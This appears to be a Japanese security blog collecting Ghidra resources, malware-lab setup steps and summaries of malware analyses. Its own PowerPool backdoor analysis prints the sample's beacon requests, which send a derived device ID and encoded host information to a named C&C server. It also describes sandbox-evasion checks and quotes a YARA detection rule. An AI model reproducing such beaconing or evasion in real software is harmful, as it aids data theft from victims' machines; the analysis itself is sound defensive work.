リバースエンジニアリングツール「Ghidra」

Ghidraは、NSAが最近公開した無償のリバースエンジニアリングツール。
試用した感想のブログ等を見る限りでは、商用のIDAには劣るもののなかなか使えるとして、評判が高そうです。

IDAと比べた時の欠点として、
・デバッガー機能がない
・速度が遅い
・正しく解析できない部分がある

等々が挙げられていましたが、IDAだと何十万もするデコンパイル機能が無償で付いている他、namespaceやclassを自動的に識別してくれる等、個人的に凄く嬉しい機能も備わっているようです。 

■ Ghidraの参考サイト
〇Download GHIDRA 9.0 — software package, slides, and exercises

ghidra-sre.org

Github

github.com

〇Installation Guide — basic usage documentation

ghidra-sre.org

〇Cheat Sheet — keyboard shortcuts

ghidra-sre.org

〇Online Courses

ghidra.re

〇Ghidra Wiki

blog.because-security.com

〇Ghidra まとめ

soji256.hatenablog.jp

NSAリバースエンジニアリングツール「Ghidra」を公開

japan.zdnet.com

〇Ghidra Tutorial + CTF・脆弱性診断 超入門 Reversing①

ninjastars.hatenablog.com

〇Ghidra: A quick overview for the curious

0xeb.net

〇Quick Analysis of a Trickbot Sample with NSA's Ghidra SRE Framework

www.peppermalware.com→ Ghidraを使って2019年初期のTrickBotを簡易解析する記事(復号化処理が行われている箇所の特定)

〇An Hour with Ghidra : The Good and The Ugly

blog.fadyothman.com

NSA Releases GHIDRA 9.0 — Free, Powerful Reverse Engineering Tool

thehackernews.com

SEGA Genesis ROM Hacking with GHIDRA

zznop.github.io

〇Analyzing MIPS Windows CE PE’s with the NSA’s GHIDRA Suite

medium.com

→ Ghidraを使ってWindows CEMIPSアーキテクチャの検体を解析する記事

〇Analysing meterpreter payload with Ghidra

isc.sans.edu

→ Ghidraを使ってmeterpreter検体を解析する記事

〇Ghidra: few thoughts after 3-day usage

medium.com

→ GhidraとIDAを比較したときの感想

 

マルウェア解析用のラボ構築

zeltser.com

マルウェア解析用のラボ構築手順が書かれた記事。全て無料で構築出来るので、今からマルウェア解析を始めたいという方には参考になりそうです。

以下、簡単に概要を記載します。

※免責事項として、ここに記載している手順を参考に実施して何らかの被害が発生しても責任を負いかねる旨、明記しておきます。

 

マルウェア解析用ラボの構築手順

1. 仮想化ソフトウェアのインストール
2. WindowsVMファイルを入手する
3. VMをアップデートして、解析ツールをインストール
4. VMを隔離して、Windows Defenderを停止する
5. マルウェアを解析する

 

■ 手順詳細

1. 仮想化ソフトウェアのインストール

自分の好みの仮想化ソフトウェアをダウンロードし、インストールする。
【例】VirtualBoxVMware


2. WindowsVMファイルを入手する

Windowsのライセンスを持っていない場合は、Microsoftのサイトから無料でWindows10のVMファイルをダウンロード可能。

Microsoft Edge page for downloading virtual machines

developer.microsoft.com
Virtual machineに「MSEdge on Win 10 (x64)」を選択
Select platformには1.で選んだ仮想化ソフトウェアを選択

※90日後に有効期限が切れるため、事前にスナップショットを取得しておく事
※ログインパスワードには「Passw0rd!」が設定されている

 

3. VMをアップデートして、解析ツールをインストール

2.で入手したWindowsのOSアップデートを実施し、最新のパッチを当てる。
その後、好みのマルウェア解析ツールをインストールする。
【例】動的解析: Process Monitor, ProcDOT, Process Hacker, Wireshark
   静的解析: PeStudio, IDA Freeware, x64dbg, Scylla

※FLARE VMから自動的に解析ツールをインストールする事も可能

github.com

※必要に応じてVMの拡張パック等もインストールすると良い。ただし、マルウェアの仮想化検知に引っかかる可能性も高まるので注意

 

4. VMを隔離して、Windows Defenderを停止する

共有フォルダの無効化や、ネットワークからの隔離(Host-Only)を実施する。
また、解析の邪魔にならないようにWindows Defenderを停止する。

※ここで不備があると、思わぬ感染被害を受ける可能性がある為、注意
※クリーンな環境に戻せるように4.が終わった後でスナップショットを取得しておく

 

5. マルウェアを解析する

4.で作成した環境にマルウェアを移して解析を始める

 

○参考: マルウェア解析の役に立つサイト
Reverse-Engineering Malware Cheat Sheet
https://zeltser.com/malware-analysis-cheat-sheet/

Analyzing Malicious Documents Cheat Sheet
https://zeltser.com/analyzing-malicious-documents/

Tips for Reverse-Engineering Malicious Code
https://zeltser.com/reverse-engineering-malicious-code-tips/

Mastering 4 Stages of Malware Analysis
https://zeltser.com/mastering-4-stages-of-malware-analysis/

Introduction to Malware Analysis Webcast
https://zeltser.com/malware-analysis-webcast/

マルウェア解析入門

medium.com

マルウェア解析の入門記事。内容的に特に新しいものはなかったものの、体系的に見直す意味で勉強になりました。

以下、簡単に概要を記載します。

 

マルウェア解析を行う理由

  • マルウェアの挙動を理解するため
  • IOC情報を収集するため
  • 知識/研究目的

 

■ お勧めの書籍・サイト
【書籍】
Practical Malware Analysis
Malware Analyst Cookbook
Incident Response and Computer Forensics

【ウェブサイト】
(省略)

 

■ OpSec

  • 攻撃者のインフラにアクセスしない

攻撃者に不審なアクセスが気づかれ、証拠隠滅等をされる可能性が有る。

  • マルウェアによっては活動を続ける前に、有名なサイト(google等)にアクセスできるかを確認するものがある

 ダミーデータを返すツールを使う(InetSim、FakeNet)
 実際にサービスを立ち上げておく(Ampps)

  • 外部との通信を許す場合はTOR、VPSまたはVPNを使う

マルウェアの挙動を完全に理解するために外部通信を許可する場合(適切に隔離、監視、保護を行う必要がある)

  • 公開ツール(VirusTotal等)は検索するだけに留める

検体をアップロードすると機微な情報が漏れたり、攻撃者に気づかれるリスクが有る

  • ゲストOSの外でマルウェアを実行しない
  • ネットワーク接続ができるゲストOS上でマルウェアを実行しない
  • 共有ドライブや他のシステムにアクセスできるゲストOS上でマルウェアを実行しない
  • クリーンな環境に戻せるようにスナップショットを取っておく
  • マルウェア検体を共有する際にはパスワードを付与する

セキュリティ業界では「infected」が最もよく使われている

  • 危険なドメイン等をやり取りする際には「デファング(無害化)」する

evil.com → evil[.]com

 

マルウェア解析の種類

常にサンドボックス環境で動作する訳ではないので、別途手動解析をする必要がある場合もある。

検体の種類や解析者のレベルにも依存するため、あくまで参考値。

  • サンドボックス上での挙動と手動解析した際の挙動を突き合わせて確認する
  • 解析方法は以下の4つのカテゴリーに分類できる
  1. 表層解析(Strings,FLOSS,Hex View)
  2. (簡易)動的解析(SysInternals, Sandbox)
  3. (詳細)動的解析(OllyDbg, WinDbg)
  4. 静的解析(IDA, Hopper)

 

■ 難読化
・難読化されたコードを読むにはCyberChefがお勧め
Docker: https://docs.docker.com
CyberChef: https://hub.docker.com/r/remnux/cyberchef/

sudo docker run -d -p 8080:80 remnux/cyberchef

 

「PowerPool」のバックドア解析

www.welivesecurity.com

既に日本のITニュースでも広く取り上げられているサイバー犯罪グループ「PowerPool」に関する記事。Windowsのタスクスケジューラに存在する権限昇格の脆弱性を突くPoCGithub上に公開されて2日後に、PoCを組み込んだマルウェアが作成されたようです。

■ 日本語の関連記事

「Windows」タスクスケジューラの脆弱性を悪用するマルウェア見つかる - ZDNet Japan

【セキュリティ ニュース】攻撃グループ「PowerPool」、Windowsタスクスケジューラ狙うゼロデイ攻撃を展開(1ページ目 / 全1ページ):Security NEXT

Windowsタスクスケジューラに発覚した脆弱性、たった2日で悪用マルウェアが出回る - ITmedia エンタープライズ

「PowerPool」は2種類のバックドアを使い分けており、まずは第1段階のバックドアで感染端末を調査し、興味のある端末と判断した際に第2段階のバックドアをダウンロードし、長期感染させるとの事。

ただ記事を見たところ、第1段階のバックドアに関しては非常に簡単な説明しか記載されていなかったため、通信周りを追加で解析してみました。

■ 検体解析

マルウェアを実行したところ、まずは以下の宛先に通信が発生し、グローバルIPアドレスの調査を行います。

GET /ip HTTP/1.1
Connection: Keep-Alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Host: www.l2.io

次にC&Cサーバに端末の固有IDと情報を送付します。

GET /?id=XXXXXXXXXXXXXXXX&info=XXXXXXXXXXXXXXXXXXXXXXXX HTTP/1.1
Connection: Keep-Alive
Accept: */*, text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Host: run.afishaonline.eu  

C&Cサーバに送信される端末情報としては以下を確認しています。

 

また、端末の固有IDと端末情報については以下の方法で算出・暗号化されていると思われます。

 ■ 端末の固有ID

<コンピュータ名>_<MACアドレス><インデックス値>

の文字列のMD5値を算出し、その9桁目〜24桁目を使用。

例. Taro-PC_00-01-02-03-04-050

=> (MD5) 144f1279adffe96454877a421bd09ea3

=> (固有ID) adffe96454877a42

 

■ 端末情報

① zlib deflate

Base64 Encode

※ C&Cサーバから受け取ったデータは逆の順番(②→①)でデコードしているように見えます。

 

その他では言語設定がロシア語かどうかチェックしていたりと興味深い部分もありましたがここまでにしたいと思います。

■ 参考

# Mutex

f:id:b1nary:20180911003657p:plain

# Check Lang

f:id:b1nary:20180911014205p:plain

 

 

北朝鮮関与のマルウェア「KEYMARBLE」

www.security-next.com

国土安全保障省(DHS)と米連邦捜査局(FBI)が北朝鮮が関与すると思われるマルウェア「KEYMARBLE」について注意喚起を呼びかけたとの記事。

情報元は下記のサイトと思われます。

Incident Reporting System | US-CERT

 

■ 概要

 

マルウェア機能

  • ファイルのダウンロード / アップロード
  • コマンド実行
  • プロセス一覧の取得
  • プロセスの停止
  • ファイル検索
  • ファイル削除
  • ファイル属性の設定
  • レジストリ作成(データ格納用途)
  • 端末情報の収集(OS、CPU、MACアドレス、コンピュータ名...)

 

IOC (STIX形式)

https://www.us-cert.gov/sites/default/files/publications/MAR-10135536.r17.v1.WHITE_stix.xml

 

 ■ その他

  • US-CERTの記事だと443番ポートで通信するとしか記載されていませんが、995番ポートも使用するため注意。

using port 443, attempts to connect to the hard-coded IP addresses listed below.

f:id:b1nary:20180816002723p:plain 

f:id:b1nary:20180816003406p:plain

  • 公開されているyaraファイルは以下。
rule rsa_modulus {
  meta:
    Author="NCCIC trusted 3rd party"
    Incident="10135536"
    Date = "2018/04/19"
    category = "hidden_cobra"
    family = "n/a"
    description = "n/a"
 
  strings:
    $n = "bc9b75a31177587245305cd418b8df78652d1c03e9da0cfc910d6d38ee4191d40"
 
  condition:
    (uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and any of them
}

f:id:b1nary:20180816004343p:plain

 

※その他の解析記事

blog.joshlemon.com.au

7/24(火) 気になったセキュリティ記事

blog.mazinahmed.net

絵文字を使ってWebShellを作成する記事。

PHPは変数名にUnicode文字を使えるため、絵文字で以下のようなコードが書けるみたいです。

<?php
$😶="Hello World!";
echo($😶);

 もちろん日本語もOKです。

<?php
$変数="Hello World!";
echo ($変数);
?>

少し長めのHello World!。

<?php

$🐀="a";
$🐁="b";
$🐂="c";
$🐃="d";
$🐄="e";
$🐅="f";
$🐆="g";
$🐇="h";
$🐈="i";
$🐉="j";
$🐊="k";
$🐋="l";
$🐌="m";
$🐍="n";
$🐎="o";
$🐏="p";
$🐐="q";
$🐑="r";
$🐒="s";
$🐓="t";
$🐔="u";
$🐕="v";
$🐖="w";
$🐗="x";
$🐘="y";
$🐙="z";
$🐚="A";
$🐛="B";
$🐜="C";
$🐝="D";
$🐞="E";
$🐟="F";
$🐠="G";
$🐡="H";
$🐢="I";
$🐣="J";
$🐤="K";
$🐥="L";
$🐦="M";
$🐧="N";
$🐨="O";
$🐩="P";
$🐪="Q";
$🐫="R";
$🐬="S";
$🐭="T";
$🐮="U";
$🐯="V";
$🐰="W";
$🐱="X";
$🐲="Y";
$🐳="Z";
$🐴="0";
$🐵="1";
$🐶="2";
$🐷="3";
$🐸="4";
$🐹="5";
$🐺="6";
$🐻="7";
$🐼="8";
$🐽="9";
$🍛="!";
$🌮=" ";

$🦁= $🐡. $🐄. $🐋. $🐋. $🐎. $🌮. $🐰. $🐎. $🐑. $🐋. $🐃. $🍛;

echo ($🦁);
?>

 実際のところ、記事にも書かれている通り絵文字を使う事の利点はなさそうですが、もしかするとWAF等の検知を回避できるのかもしれません。

 

 ※サンプルコードの絵文字は以下のサイトから使用させて頂きました。

lab.syncer.jp

 

7/21(土) 気になったセキュリティ記事

www.welivesecurity.com 

ESET社がウクライナ政府を狙ったマルウェアに関する記事を公開していたので概要をメモ。

 

■ 標的

ウクライナ政府機関

 

■ 攻撃者

 

■ 使用するマルウェア

  • Quasar (オープンソースRAT)
  • Sobaken (Quasarを元に作られたもの)
  • Vermin (カスタムメイド)

 

■ 攻撃方法

  • 主にメールを使用

 

  • 添付ファイルには以下の手法を使用

  (1) RLOによる拡張子の偽装

  (2) Wordファイル(CVE-2017-0199)

  (3) RARの自己解凍書庫(SFX)

 

■ 特徴


  • 狙った標的の端末だけで動作するように、以下の機能を備える

  (1) Windowsキーボードのレイアウトをチェックし、ロシアまたはウクライナである事を確認

 

  (2) 感染端末のIPアドレスをチェックし、ロシアまたはウクライナである事を確認

 

  (3) 存在しないURLに通信し、接続に失敗する事を確認

 

  (4) ユーザ名をチェックし、マルウェア解析環境で使われている名前でない事を確認

  e.g. ANDY, ANTONY, JOHN

 

■ その他

  • パスワード窃取プログラムはロシアのフォーラム(Habrahabr)からコピペして作成

 

  • コード難読化のために商用の「.NET Reactor」、またはフリーの「ConfuserEx」を使用

 

  • Vitevic Assembly Embedderを使用

 

■ IOC

https://www.welivesecurity.com/wp-content/uploads/2018/07/ESET_Quasar_Sobaken_Vermin.pdf